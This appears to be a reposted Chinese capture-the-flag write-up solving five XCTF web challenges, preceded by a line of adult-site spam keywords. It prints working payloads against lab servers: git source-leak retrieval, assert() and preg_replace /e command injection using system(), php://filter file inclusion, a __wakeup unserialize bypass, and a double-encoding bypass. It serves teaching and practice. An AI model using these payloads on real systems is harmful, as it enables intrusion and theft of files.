日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XCTF(攻防世界)—进阶web题Write Up(二)

發(fā)布時(shí)間:2024/9/30 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF(攻防世界)—进阶web题Write Up(二) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言:繼續(xù)總結(jié)學(xué)到的新知識

mfw


在about頁面發(fā)現(xiàn),搭建網(wǎng)站時(shí)用了git,嘗試一下是否為git源碼泄露

輸入:

http://111.198.29.45:36544/.git/


果然是源碼泄露,那就查看一下文件,發(fā)現(xiàn)并沒有找到flag,在Github上下載git源碼泄露工具,可以得到其源碼。

輸入相應(yīng)的命令:

python2 GitHack.py http://111.198.29.45:36544/.git/

得到源碼,發(fā)現(xiàn)并沒有flag

查看index.php發(fā)現(xiàn)

并沒有對GET進(jìn)去的參數(shù)進(jìn)行過濾,assert函數(shù)中參數(shù)為表達(dá)式可以當(dāng)作PHP文件來執(zhí)行,再了解一下以下這兩個(gè)函數(shù):

strpos() 函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置。 file_exists() 函數(shù)檢查文件或目錄是否存在

有了assert函數(shù),又沒有過濾,可以用system()函數(shù)進(jìn)行查看文件等

?page=flag '.system("ls").'


查看templates

?page=flag '.system("cd templates;ls").'


最后查看flag.php

?page=flag '.system("cat templates/flag.php").'


在源碼中即可發(fā)現(xiàn)flag

注意:

system("") 中命令使用雙引號

NaNNaNNaNNaN-Batman

下載附件,打開文件發(fā)現(xiàn)亂碼

不過還是能看到<script>等標(biāo)簽的,后綴名改為html

觀察了還是沒有什么頭緒,繼續(xù)看文件源代碼

發(fā)現(xiàn)在文件最后有一個(gè)eval()函數(shù),改成可以彈窗的alert()函數(shù)將腳本文件通過彈窗顯示出來

eval() 函數(shù)計(jì)算 JavaScript 字符串,并把它作為腳本代碼來執(zhí)行


整理好

觀察源碼,只要滿足代碼中的正則表達(dá)式即可

^ 匹配輸入字符串的開始位置 $ 匹配輸入字符串的結(jié)尾位置

又限制了e的長度,^和$必須匹配到,所以可以構(gòu)造

e=be0f23233ace98aa

還有一種方法利用控制臺直接執(zhí)行下面的代碼

即可得出flag

PHP2


什么也沒有,抓包,御劍掃

發(fā)現(xiàn)index.php,但是打開還是這個(gè)頁面,那就試一下index.phps,發(fā)現(xiàn)有源碼泄露

這里解釋一下.phps文件

phps文件就是php的源代碼文件,通常用于提供給用戶(訪問者)查看php代碼,因?yàn)橛脩魺o法直接通過Web瀏覽器看到php文件的內(nèi)容,所以需要用phps文件代替。

接下來分析源代碼

===是恒等計(jì)算符 同時(shí)檢查表達(dá)式的值與類型 ==是比較運(yùn)算符號 不會檢查條件式的表達(dá)式的類型

第一步需要使這行代碼不成立

if("admin"===$_GET[id])

第二步需滿足這行代碼成立
$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin")

由于網(wǎng)站在解析輸入的參數(shù)時(shí)會對非ASCII碼的字符進(jìn)行一次urlencode

所以構(gòu)造payload時(shí)將其中一個(gè)字符urlencode兩次即可
payload:

http://111.198.29.45:40639/index.php?id=a%2564min

即可得出flag

unserialize3


這個(gè)格式再加上題目,很容易就可以想到是考察反序列化的

PHP魔法函數(shù)中存在__wakeup()方法,unserialize()會檢查是否存在一個(gè)__wakeup()方法。如果存在,則先會調(diào)用__wakeup()方法。

下面就來構(gòu)造payload:

O:4:"xctf":1:{s:4:"flag";s:3:"111";} #xctf后面的1即代表屬性個(gè)數(shù)

發(fā)現(xiàn)回顯結(jié)果為:

bad requests

這里是因?yàn)開_wakeup()的影響,所以要繞過__wakeup,

當(dāng)成員屬性數(shù)目大于實(shí)際數(shù)目時(shí)可繞過wakeup方法(CVE-2016-7124)

故構(gòu)造payload:

?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

即可得出flag

補(bǔ)充:屬性

類的變量成員叫做“屬性”,或者叫“字段”、“特征”,在本文檔統(tǒng)一稱為“屬性”。屬性聲明是由關(guān)鍵字 public,protected 或者 private 開頭,然后跟一個(gè)普通的變量聲明來組成。

// 正確的屬性聲明public $var6 = myConstant;

ics-05


御劍、源碼都沒有什么線索,點(diǎn)擊一下云平臺設(shè)備維護(hù)中心,發(fā)現(xiàn)URL有變化

LFI漏洞的黑盒判斷方法: 單純的從URL判斷的話,URL中path、dir、file、pag、page、archive、p、eng、語言文件等相關(guān)關(guān)鍵字眼的時(shí)候,可能存在文件包含漏洞。

所以猜測是應(yīng)該是文件包含讀源碼,利用php://filter協(xié)議即可

?page=php://filter/read=convert.base64-encode/resource=index.php


base64解碼得到index.php源碼,在源碼中發(fā)現(xiàn)關(guān)鍵的代碼

$_SERVER['HTTP_X_FORWARDED_FOR'] 獲取IP地址 preg_replace($pattern, $replacement, $subject) 搜索 subject 中匹配 pattern 的部分, 以 replacement 進(jìn)行替換 $pattern: 要搜索的模式,可以是字符串或一個(gè)字符串?dāng)?shù)組。 $replacement: 用于替換的字符串或字符串?dāng)?shù)組。 $subject: 要搜索替換的目標(biāo)字符串或字符串?dāng)?shù)組

這串代碼存在一個(gè)漏洞,preg_replace函數(shù)存在命令執(zhí)行漏洞
preg_replace()函數(shù)使用 /e模式,導(dǎo)致代碼執(zhí)行的問題

/e 修正符使 preg_replace() 將 replacement 參數(shù)當(dāng)作 PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)。提示:要確保 replacement 構(gòu)成一個(gè)合法的 PHP 代碼字符串,否則 PHP 會在報(bào)告在包含 preg_replace() 的行中出現(xiàn)語法解析錯(cuò)誤。

所以利用這個(gè)漏洞可以執(zhí)行一些命令

抓包,首先設(shè)置IP地址為127.0.01,再傳入三個(gè)參數(shù)的值

?pat=/1234/e&rep=system("ls")&sub=1234


發(fā)現(xiàn)一個(gè)特別的文件夾s3chahahaDir,進(jìn)行查看

?pat=/1234/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=1234

在這里用空格會沒有變化,用%20或者+代替,%26%26為&&

A&&B A執(zhí)行成功,然后才會執(zhí)行B


發(fā)現(xiàn)flag文件,進(jìn)行查看

?pat=/1234/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=1234


使用cat命令查看flag.php

?pat=/1234/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1234

即可得出flag

總結(jié):這次就先總結(jié)到這里,下次繼續(xù)總結(jié)!

總結(jié)

以上是生活随笔為你收集整理的XCTF(攻防世界)—进阶web题Write Up(二)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。